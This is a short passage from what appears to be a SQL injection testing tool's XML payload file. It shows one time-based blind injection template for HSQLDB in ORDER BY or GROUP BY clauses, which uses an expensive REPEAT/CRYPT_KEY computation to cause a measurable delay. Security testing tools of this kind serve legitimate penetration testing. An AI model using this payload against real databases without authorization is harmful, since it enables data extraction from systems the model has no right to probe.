            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))</payload>
2163
        </request>
2164
        <response>
2165
            <time>[DELAYED]</time>
2166
        </response>
2167
        <details>
2168
            <dbms>HSQLDB</dbms>
2169
            <dbms_version>&gt; 2.0</dbms_version>
2170
        </details>
2171
    </test>
2172

2173
    <!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
2174
</root>
2175

2176
Product

Resources

Company
